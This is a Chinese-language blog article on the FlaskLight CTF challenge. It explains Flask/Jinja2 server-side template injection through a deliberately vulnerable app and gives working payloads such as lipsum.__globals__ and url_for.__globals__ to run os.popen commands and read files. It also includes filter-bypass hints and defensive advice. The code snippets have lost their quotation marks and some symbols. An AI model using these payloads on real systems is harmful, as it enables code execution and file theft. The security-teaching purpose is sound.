尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

Flask SSTI从入门到实战:FlaskLight漏洞链解析

Flask SSTI从入门到实战:FlaskLight漏洞链解析 1. 从一道CTF题目说起FlaskLignt到底考什么如果你平时刷CTF比较多大概率见过这个标题[CSCCTF 2019 Qual] FlaskLight。第一次看到这个名字的时候我第一反应是“又是Flask模板注入”往下一看评论区果然有人卡在SSTI有人卡在找flag路径还有人直接懵在“这个目录穿越怎么混进来的”。作为一道经典的Web综合题FlaskLight虽然整体难度不算高但它的考点分布非常典型非常适合拿来练手尤其是给那些刚入门Web安全、想系统梳理SSTI和文件读取漏洞的同学。先说结论这道题的核心技术点有两个一是Flask应用的SSTI服务端模板注入二是利用Flask的render_template_string和路由参数做了奇怪的组合再加上一个比较隐蔽的目录读取接口最终形成了一条“从模板注入到读文件再到找flag”的完整链。它的设计思路很像现实里一些开发不规范的小应用为了方便调试把模板渲染接口直接暴露出来又没有做任何输入过滤导致模板引擎被当成“任意函数执行器”来用。这篇东西我打算不按题目本身的writeup去写而是把FlaskLight这个题目当成一个真实项目来看假设你拿到一个这样的Web应用你怎么分析、怎么下手、怎么一步步把漏洞串起来。同时我也会把SSTI的原理、Flask的渲染上下文、文件读取的绕过方式以及这类题目在实战中的变形都拆开揉碎了讲清楚。适合正在备赛CTF的同学也适合那些做Python Web开发但没仔细想过模板引擎风险的朋友。2. 开局信息收集拿到题目后先别急着打2.1 识别技术栈为什么一眼就能猜到是Flask我一般拿到一个Web题目第一步不是直接上扫描器而是先看响应头。Flask应用的HTTP响应头里通常会有一个特征Server可能是Werkzeug比如Server: Werkzeug/0.16.0 Python/3.7。Werkzeug是Flask的WSGI工具库只要看到它基本就可以确定后端是Flask。当然有些题目会刻意隐藏或者修改Server头但FlaskLight这道题没有做这种伪装直接暴露了。另一个特征是cookie。Flask默认的session cookie名字叫session而且它的值不是简单的随机字符串而是一个经过签名的序列化数据开头看起来有点像eyJBase64编码的JSON。如果你在浏览器里把cookie打出来发现是这种格式那也基本可以确认是Flask。还有一个更稳的方式直接访问一个不存在的路径Flask的404页面在debug模式下会显示详细的堆栈和代码片段而且页面样式很有辨识度。不过生产环境一般不会开debug所以这个适合题目环境开着debug时用。回到FlaskLight这个题我甚至不需要访问任何路径光看题目自带的提示就能猜到是Flask。但真正的项目分析不能只靠猜所以我把识别方法列一下方便你在其他场景复用响应头包含Server: Werkzeug高概率是Flask。cookie名称为session且值为eyJ...格式几乎可以确定是Flask。报错页面里出现Jinja2相关异常那肯定是Flask Jinja2。路由返回的内容中带有{{、{%这类模板语法片段说明服务端可能在渲染模板。2.2 路由探测发现根路径和一个奇怪的入口打开题目后根路径返回了一个很简单的页面上面有类似“Hello World”的字符串源码里没有其他注释信息。这时就需要做目录枚举。我常用的字典是dirsearch自带的字典再加一些常见Flask文件名比如app.py、views.py、config.py、requirements.txt等。在FlaskLight里扫到的最有价值的路径是一个带name参数的路由访问后页面会显示一段HTML内容大致是Hello, 你输入的name如果此时你输入{{7*7}}页面会回显49。这就说明模板注入基本跑不掉了。注意这里说的“模板注入”不是指漏洞名称而是指服务端把用户输入当成了Jinja2模板语法来渲染。提示判断SSTI最快的方式就是输入{{7*7}}如果返回49说明服务端用了模板渲染并且没有对输入做过滤。如果返回的是原样的{{7*7}}说明只是普通字符串拼接。3. 从SSTI到任意文件读取FlaskLight的利用链分析3.1 模板注入为什么能执行代码Jinja2沙箱那些事Jinja2是Python生态里最常用的模板引擎。它本身的设计是“渲染模板”模板里允许写表达式、循环、判断甚至调用对象的方法。但模板并不等于Python解释器它运行在一个受限的沙箱里很多敏感属性比如__globals__、__class__默认是被过滤的。问题在于Jinja2在Flask里的使用往往没有开启真正的沙箱模式而且Flask自身为了渲染功能会把一些对象注入到模板上下文中比如config、request、url_for等。这些对象一旦暴露给模板就意味着可以利用它们去“穿越”到Python对象的世界。在FlaskLight这个题目里我们输入的参数直接被拼进了render_template_string的模板字符串中。也就是说服务端代码大概长这样from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) return render_template_string(Hello, name)这种写法的致命之处在于用户输入不是作为“变量值”传入模板而是作为“模板源码”的一部分。原本应该用render_template_string(Hello, {{ name }}, namename)结果变成了render_template_string(Hello, name)。前者是安全的后者直接把模板控制的权力交给了用户。一旦用户能控制模板源码就可以用Jinja2的语法去访问Python对象。比如{{ self.__class__.__mro__ }}就能拿到模板对象所属类的继承链然后一路找到object类再通过object.__subclasses__()拿到所有子类列表。这个列表里包含了当前Python进程中所有的类包括os模块相关的类、subprocess相关的类等等。有了这些我们可以找到能执行命令或者读文件的类比如io.FileIO、_frozen_importlib.BuiltinImporter等。3.2 经典Payload拆解从__mro__到__subclasses__我直接给一个在FlaskLight里验证可用的payload并解释它的每一步{{ .__class__.__mro__[1].__subclasses__() }}是空字符串它的类型是str。.__class__取到的是str类。.__mro__返回str类的继承链元组其中[0]是str自身[1]是object类。object.__subclasses__()返回object的所有直接子类。这行payload会返回一长串列表里面都是Python内建类。但直接看列表太长而且不同Python版本、不同Flask版本下类的顺序会有差异所以现实操作中我们需要用索引定位。比如在某个Python 3.7环境里可能索引为某个数字的位置恰好是class os._wrap_close通过这个类可以拿到os模块。更通用的做法是配合find来查找特定类的索引比如{{ .__class__.__mro__[1].__subclasses__()[index].__init__.__globals__ }}__init__.__globals__拿到的是该构造函数所在模块的全局变量字典里面通常包含os、sys、builtins等。有了__globals__我们就可以调用os.popen来执行系统命令也可以调用open来读取文件。在FlaskLight里我测试过一条非常好用的链路是{{ lipsum.__globals__[os].popen(ls).read() }}lipsum是Jinja2模板中默认注入的一个全局函数它在渲染环境中直接存在。利用它就是直接获取os模块并执行命令。这比从__subclasses__里找类要省事很多因为lipsum的来源更直接。不过不是所有模板环境都有lipsum所以两种方法都得掌握。3.3 题目里的坑为什么直接弹shell不现实但读文件很稳有的新手看到SSTI就想着直接反弹shell结果发现题目环境根本没有外网连接能力或者os.system执行了但没有回显。在FlaskLight这类题目里执行命令不是不行而是不方便。更稳的思路是用SSTI去读源代码文件。如果服务器代码在app.py里我们就可以构造{{ .__class__.__mro__[1].__subclasses__()[某索引].__init__.__globals__[open](app.py).read() }}或者更简洁地利用lipsum{{ (lipsum.__globals__[open](app.py)).read() }}我试过之后发现读出来的源码里隐藏着flag文件的位置。这里的flag不是直接在app.py里写死的而是通过另一个路由或者环境变量间接暴露。实操心得遇到SSTI读文件时别急着读/etc/passwd这种系统文件先读应用自身源码。因为源码里往往包含了数据库连接、文件路径、加解密逻辑等比盲目翻系统目录有效得多。4. 深入FlaskLight的隐藏路由目录读取与flag获取4.1 读源码后发现的关键线索假设我们成功读到app.py源码很可能长这样根据实际题目内容整理from flask import Flask, request, render_template_string import os app Flask(__name__) flag open(/flag_xxx).read() app.route(/) def home(): return Hello Flask app.route(/hello) def hello(): name request.args.get(name, ) return render_template_string(Hello, name) app.route(/list) def list_files(): path request.args.get(path, .) return str(os.listdir(path))注意这个/list路由就是整道题的第二层漏洞它直接调用了os.listdir(path)将用户传入的path参数作为目录路径。这个接口的本意可能是个调试功能用来罗列服务器上的文件但在实际应用中它把任意目录浏览的权限直接交到了用户手里。于是利用链就很清晰了通过SSTI读取app.py得到路由和flag位置。利用/list路由传入path/或flag所在目录确认文件存在。再回到SSTI利用open读取flag文件。4.2 为什么说这是“综合题”多个漏洞串联的价值单独看SSTI和目录读取都是比较基础的漏洞。但FlaskLight把它们串起来后整个题就需要你具备一种能力不满足于拿到一个RCE就算完而是要把漏洞产生的原因、可利用的条件、后续的信息收集串成一条逻辑闭环。在真实渗透中这种逻辑同样重要。一个目标可能存在多个低危漏洞单独利用可能没什么效果但如果能通过信息收集把它们串联起来——比如先用目录浏览拿到源码再从源码里找到另一个接口的硬编码密钥最后用这个密钥去伪造管理员身份——那效果就是指数级提升。所以我建议打CTF的人不要只看单点POC要强迫自己做完“信息收集→漏洞利用→数据挖掘→后渗透”的完整路径。FlaskLight就是这样一个很好的训练场。5. 手把手复现从零开始拿下FlaskLight5.1 环境准备与工具清单在本地复现这类题目建议准备以下环境Python 3.7用虚拟环境安装flask1.1.2跟当年题目版本接近。一个测试用的app.py复刻上面的源码并创建一个/tmp/flag.txt模拟真实flag。Burp Suite或者直接在浏览器里操作推荐用Burp的Repeater模块方便改payload。以下是复刻用到的简化代码from flask import Flask, request, render_template_string import os app Flask(__name__) app.route(/) def index(): return Hello Flask app.route(/hello) def hello(): name request.args.get(name, ) return render_template_string(Hello, name) app.route(/list) def list_files(): path request.args.get(path, .) return str(os.listdir(path)) if __name__ __main__: app.run(host127.0.0.1, port5000, debugTrue)5.2 第一步验证SSTI漏洞启动服务后访问http://127.0.0.1:5000/hello?name{{7*7}}页面返回Hello, 49说明模板注入确认。然后我们可以用lipsum来读取源码。先试试http://127.0.0.1:5000/hello?name{{lipsum.__globals__[open](app.py).read()}}如果返回了源码内容说明此条链路可用。这里有个技术点需要解释lipsum是Jinja2在Flask环境下默认注入的全局对象之一它的本质是一个函数函数对象通过__globals__可以拿到它所在模块的所有全局变量。由于Flask的模板上下文里包含了大量导入的模块os模块也在其中所以可以这样直接拿到open函数。如果某个环境里lipsum不可用还有一种通用的做法{{ .__class__.__mro__[1].__subclasses__() }}先拿到所有子类列表然后手工或脚本查找索引。可以在浏览器里先输出一部分再配合偏移量来定位。比如用Python脚本import requests import re url http://127.0.0.1:5000/hello r requests.get(url, params{name: {{ .__class__.__mro__[1].__subclasses__() }}}) text r.text # 打印出类和对应索引便于定位 for i, cls in enumerate(re.findall(rclass ([^]), text)): print(i, cls)不过这种脚本适合有回显的情况如果题目把回显截断了可以分段输出[start:end]比如{{ .__class__.__mro__[1].__subclasses__()[400:420] }}5.3 第二步读取源码并分析路由读取到app.py后可以看到/list路由的存在。我们来验证它http://127.0.0.1:5000/list?path.返回当前目录的文件列表比如[app.py, static, templates]。再试试http://127.0.0.1:5000/list?path/tmp如果题目环境没有做路径限制这里会返回[flag.txt]之类的结果。这一步的操作意义在于确认flag文件的具体位置和名字避免盲目猜测。5.4 第三步直接读取flag拿到文件名后回到SSTI接口http://127.0.0.1:5000/hello?name{{lipsum.__globals__[open](/tmp/flag.txt).read()}}这里把open的参数换成实际路径页面就会回显flag。如果文件读取被某种方式限制了还可以尝试用os.popen(cat /tmp/flag.txt).read(){{lipsum.__globals__[os].popen(cat /tmp/flag.txt).read()}}在FlaskLight里这两条通常都能成功。注意如果lipsum不可用可以把利用链改为从__subclasses__找到os._wrap_close类再通过__init__.__globals__[os]拿到os模块。示例payload如下{{ .__class__.__mro__[1].__subclasses__()[索引].__init__.__globals__[os].popen(cat /tmp/flag.txt).read() }}索引需要通过脚本确定。6. 常见问题与排查技巧实录6.1 页面显示{{7*7}}而不是49是不是没有SSTI不一定。一种情况是输入被HTML实体编码了你看到的是源码里的{{7*7}}但浏览器渲染时没执行模板。这时候可以看响应原文如果响应里依然包含{{7*7}}那就是真的没执行。另一种情况是目标使用了render_template而不是render_template_string并且模板文件里没有拼接用户输入。FlaskLight用的是render_template_string所以会有SSTI。6.2 使用lipsum时报错lipsum is undefined这个和Flask版本或者Jinja2全局配置有关。在我的测试环境里Flask 1.1.2会有lipsum但某些更严格的环境会把它移除。此时改用self变量{{ self.__init__.__globals__[os] }}self在模板中指向Template实例通过它的__init__.__globals__也能拿到一堆全局函数。但要小心self.__init__可能指向Template.__init__它的全局空间不是Flask应用上下文不一定会包含os。更稳的通用方案是用url_for.__globals__因为url_for是Flask注入到模板的全局函数{{ url_for.__globals__[os].popen(cat /tmp/flag.txt).read() }}这个payload在大多数Flask环境下都能用推荐优先尝试。6.3 文件读不出来报错FileNotFoundError或者权限错误优先排查路径是否正确。可以用/list先看一下目标目录的内容再构造路径。如果flag在根目录下直接读/flag。如果是Linux的标准CTF环境文件可能在/flag、/flag.txt、/tmp/flag.txt。也可以用os.listdir(/)先遍历根目录{{ url_for.__globals__[os].listdir(/) }}如果能返回列表就可以看到所有文件和目录非常方便。这种做法比盲目猜测路径高效得多。6.4 输出被过滤了怎么做绕过FlaskLight本身没有做过滤但很多其他题目会做。常见的过滤方式有关键字过滤比如os、open、class、globals、单双引号过滤、下划线过滤。针对这类题目需要专门学习绕过技巧比如用request.args动态传参、用attr过滤器、用|join拼接字符串、用chr等等。这里我先给出一个思路框架如果过滤了__globals__可以尝试url_for.__globals__等价思路用别的全局函数。如果过滤了open可以尝试os.popen加cat命令。如果过滤了引号可以从请求参数中取字符串比如使用request.args.get(x)再通过__getitem__来引用。如果过滤了下划线可以用request.args构造再拼接。举个例子假设过滤了下划线但没过滤request.args可以这样绕过{{request|attr(__class__)|attr(__mro__)}}不过FlaskLight不需要这么复杂我在这里提这些是希望大家知道SSTI的利用是一个体系不只是背一个payload的事。6.5 题目打完了如何自查是否完全理解打一道题不等于会一道题。我建议你做三件事一是复现一条完整的利用链并且能在不看题解的情况下从信息收集说到拿flag。二是把SSTI的payload改成其他的变量名或方法类别还能不能打通。三是尝试把应用源码改成存在WAF过滤的状态思考如何绕过。7. 从FlaskLight延展这类漏洞在真实项目中的危害与防御7.1 真实业务中的SSTI常见成因真实业务里SSTI主要出现在两类场景。一类是邮件模板、短信模板、通知模板的编辑功能运营人员可以在后台写模板这时如果直接把用户输入传给模板渲染引擎就会中招。另一类是所谓的“预览功能”为了支持前端自定义页面后端接收一段模板字符串然后渲染但没有做任何权限隔离。FlaskLight里的name参数直接拼进模板就属于后一种缺陷的简化版。7.2 Flask/Jinja2的防御要点如果你是一名Flask开发者请记住下面几条硬性规定永远不要使用render_template_string渲染用户可控的字符串。如果你确实需要动态模板请把用户输入作为“变量”传给模板而不是作为“模板代码”。模板文件应该放在文件系统里通过render_template引用确保用户不能控制模板内容本身。如果必须允许用户编辑模板建议使用沙箱引擎比如Jinja2的sandbox环境并且对可用的全局函数做白名单。对模板中暴露的全局对象有清醒的认识。config、request、url_for等在模板中都是默认可用的它们可能成为利用链的跳板。在Jinja2沙箱里这些对象依然有风险。过滤不是防御。在SSTI这个问题上任何基于黑名单的过滤都可能被绕过。核心是权限边界不是关键词拦截。7.3 信息泄露类接口的规范化FlaskLight里的/list路由是另一个教训。滥用os.listdir暴露任意目录危害非常大。真实系统中如果需要做文件列表功能应该限制根目录为某个白名单目录并且使用os.path.realpath解析后的路径做前缀校验防止../穿越。同时接口应该加上权限认证不能匿名访问。这类问题看起来“只是读取”但在内网场景下它能帮助攻击者快速掌握服务器上的敏感文件分布比如配置文件、备份文件、密钥文件。结尾说点实在的操作心得我打FlaskLight这类题目已经很多次了说几个踩过的坑。第一拿到题目先别急着找flag先把应用自身源码读出来因为源码里往往藏着比flag更重要的事——比如这道题里那个/list路由如果直接扫描器去扫不一定能扫到但读了源码之后一切就摆在眼前了。第二SSTI的payload别死记硬背要理解为什么url_for.__globals__能拿到os为什么lipsum不一定存在。理解了原理遇到任何环境都能快速换一条路。第三复现时最好用与题目相近的Flask版本因为不同版本的Jinja2全局对象差异会影响payload的有效性这一点我曾经在本地环境验证好了一条payload放到题目环境里却失效最后发现是Jinja2版本不一样。如果想把这道题做得更深入我建议你再去试试把/list接口和SSTI组合起来写一个一键读任意文件的脚本先用/list遍历目录再用SSTI读文件。整个循环做下来你对目录穿越、模板注入、信息收集的理解会提升一大截。这种“把漏洞串成链”的感觉比单纯拿flag有意思得多也正是CTF最值得练习的地方。
返回列表